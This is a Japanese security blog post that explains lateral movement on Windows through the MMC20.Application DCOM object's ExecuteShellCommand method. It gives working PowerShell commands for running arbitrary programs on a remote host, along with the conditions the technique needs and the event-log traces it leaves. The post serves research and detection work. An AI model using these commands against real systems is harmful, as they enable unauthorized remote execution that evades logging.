MMC を用いた Windows 環境での Lateral Movement
前回の投稿では PsExec.exe を用いた Windows ドメインネットワークでの Lateral Movement について触れました。今回は別の種類の攻撃手法に関する話題にしようかと考えていましたが、つい先週に新しい Lateral Movement の手法が公開されたため、本投稿ではその手法について取り扱います。新たに公開された Lateral Movement の手法は、以下の Web サイトにて公開されています。
手法の概要
新しい手法というと大層に聞こえますが、手法の内容自体はそこまで難しいものではありません。Windows システムを管理するために用いる Microsoft 管理コンソール (MMC: Microsoft Management Console) のメソッドの 1 つに、「ExecuteShellCommand」という遠隔端末の操作に用いることができるコマンドがあるというだけの話です。ExecuteShellCommand メソッドについては、以下の Web サイトに解説が記載されています。
本記事の検証環境
検証環境は以下に従います。
[対象ホスト] OS: Windows 7 Professional SP1, 32 bit IP Address: 172.16.214.132 ホスト名: VICTIM [侵入元ホスト] OS: Windows 8.1 Pro, 64 bit IP Address: 172.16.214.137 ホスト名: pentest
手法の手順
「遠隔の端末を管理する」という用途のコマンドであるため、侵入対象となる端末で管理者権限が実行できている状態でなければなりません。例としては、Pass-the-Hash などの手法を用いて、ビルドイン Administrator アカウントで対象端末への認証に成功していることが考えられます。認証に成功したら、まず以下のコマンドを実行して、対象端末の MMC のオブジェクトを呼び出します。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<対象ホストのアドレス>"))
メソッドの呼び出しに失敗した場合は例外が出力されますが、成功した場合は特に何も出力されません。MMC のオブジェクトの呼び出しに成功したら、あとは ExecuteShellCommand メソッドを用いて好きなコマンドを実行できます。以下のコマンドを実行することにより対象端末で任意のコマンドを実行することができます。
PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("<実行バイナリのパス>", $null, "<実行バイナリのコマンドライン引数 (何も無い場合は「$null」を指定)>", "7")
コマンドの実行に関しても、失敗した場合は例外が出力されますが、成功した場合は特に何も出力されません。
対象端末の IP アドレスを 172.16.214.132 とします。単純に電卓を起動する場合は以下のように実行します。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.132")) PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $null, $null, "7")
対象ホストにログインしプロセスを確認して、以下のように calc.exe が起動していれば成功です。
PS C:\Windows\system32> Get-Process | findstr calc 155 24 8684 18992 100 0.16 3984 2 calc PS C:\Windows\system32>
手法の実行に必要な条件
まず TCP ポートについてですが、前回の記事で取り上げた PsExec.exe とは違い、当該手法は RPC を用いて実行されるため、管理共有にアクセスできる必要はありません。Windows Firewall で TCP 139 番ポートと TCP 445 番ポートへのアクセスを遮断しても、MMC のオブジェクトを呼び出すことができます。その代わりに MMC のオブジェクトの呼び出しには TCP 135 番ポートが用いられます。MMC オブジェクトを用いた命令の実行には、TCP 49152 番ポートなどの RPC で用いるハイポートが利用されるため、これらの TCP ポートへのアクセスが遮断されている場合は、当該手法を悪用して遠隔コード実行をすることはできません。
認証を通す必要があるユーザですが、権限昇格せずに管理者権限を行使できるアカウントである必要があります。UAC が有効である場合は、Administrators グループに所属しているアカウントであっても、管理者権限の行使に権限昇格が必要となるため、認証を通したとしても以下のように UnauthorizedAccessException が発生し、MMC のオブジェクトの呼び出しに失敗します。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.13 2")) "1" 個の引数を指定して "CreateInstance" を呼び出し中に例外が発生しました: "CLSID {49B2791A-B1AE-4C90-9B8E-E860BA07F889} を含むリモート コンポーネントの COM クラス ファクトリをコンピューター 172.16.214.132 から取得中に、次のエラーが発生し ました: 80070005 172.16.214.132。" 発生場所 行:1 文字:1 + $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application" ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : UnauthorizedAccessException PS C:\Windows\system32>
UAC が無効である場合は、対象ホストで Administrators グループに所属している何れかのアカウントで認証に成功していれば、当該手法を用いて遠隔コード実行することが可能です。
以上をまとめると、当該手法が成功するためには以下の条件が全て成立している必要があります。
実行痕跡
当該手法を用いた場合の痕跡についても調査しました。まず以下のコマンドを実行した際に発生するログについて調べました。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.132"))
この場合は eventvwr.exe の Windows Logs の Security に、以下の 2 種類のログが残ります。
ログの名前: Security ソース: Microsoft-Windows-Security-Auditing 日付: 2017/01/09 21:28:00 イベント ID: 4672 タスクのカテゴリ: 特殊なログオン レベル: 情報 キーワード: 成功の監査 ユーザー: N/A コンピューター: VICTIM 説明: 新しいログオンに特権が割り当てられました。 サブジェクト: セキュリティ ID: S-1-5-21-4277999076-337875558-3304608076-500 アカウント名: Administrator アカウント ドメイン: VICTIM ログオン ID: 0xfcb3e 特権: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege
ログの名前: Security ソース: Microsoft-Windows-Security-Auditing 日付: 2017/01/09 21:28:00 イベント ID: 4624 タスクのカテゴリ: ログオン レベル: 情報 キーワード: 成功の監査 ユーザー: N/A コンピューター: VICTIM 説明: アカウントが正常にログオンしました。 サブジェクト: セキュリティ ID: S-1-0-0 アカウント名: - アカウント ドメイン: - ログオン ID: 0x0 ログオン タイプ: 3 新しいログオン: セキュリティ ID: S-1-5-21-4277999076-337875558-3304608076-500 アカウント名: Administrator アカウント ドメイン: VICTIM ログオン ID: 0xfcb3e ログオン GUID: {00000000-0000-0000-0000-000000000000} プロセス情報: プロセス ID: 0x0 プロセス名: - ネットワーク情報: ワークステーション名: PENTEST ソース ネットワーク アドレス: 172.16.214.137 ソース ポート: 49197 詳細な認証情報: ログオン プロセス: NtLmSsp 認証パッケージ: NTLM 移行されたサービス: - パッケージ名 (NTLM のみ): NTLM V2 キーの長さ: 128 このイベントは、ログオン セッションの作成時に生成されます。このイベントは、アクセス先のコンピューターで生成されます。 サブジェクトのフィールドは、ログオンを要求したローカル システム上のアカウントを示します。これはサーバー サービスなどのサービスまたは Winlogon.exe や Services.exe などのローカル プロセスであることが最も一般的です。 ログオン タイプのフィールドは、発生したログオンの種類を示します。最も一般的なタイプは、2 (対話型) と 3 (ネットワーク) です。 新しいログオンのフィールドは、新しいログオンを作成するアカウント、つまりログオン先のアカウントを示します。 ネットワークのフィールドは、リモート ログオン要求の送信元を示します。ワークステーション名は常に表示されるとは限らず、場合によっては空白のままであることがあります。 認証情報のフィールドは、この特定のログオン要求に関する詳細情報を示します。 - ログオン GUID は、このイベントを KDC イベントに関連付ける場合に使用できる一意の識別子です。 - 移行されたサービスは、このログオン要求に関与した中間サービスを示します。 - パッケージ名は、NTLM プロトコルのうち使用されたサブプロトコルを示します。 - キーの長さは、生成されたセッション キーの長さを示します。これは、セッション キーが要求されなかった場合は 0 になります。
とりあえず「管理者権限で何か実行された」程度のことはわかります。しかし、これらの痕跡は同様の手法を実行した際に発生することが多いため、当該手法によるものと断定することは難しいと考えられます。
次に以下のコマンドを実行した場合です。
PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $null, $null, "7")
残念ながら eventvwr.exe に保存されるログには、以上のコマンドによって発生したと考えられる痕跡を確認することができませんでした。
当該手法を悪用されて遠隔コード実行されてしまったとしても、当該手法によるものであると断定することは難しいと考えられ、どのような命令の実行を強制されてしまったかを知ることも難しいと考えられます。よって、攻撃の痕跡を隠して Lateral Movement を行う用途で、攻撃者に悪用されやすい手法であると考えられます。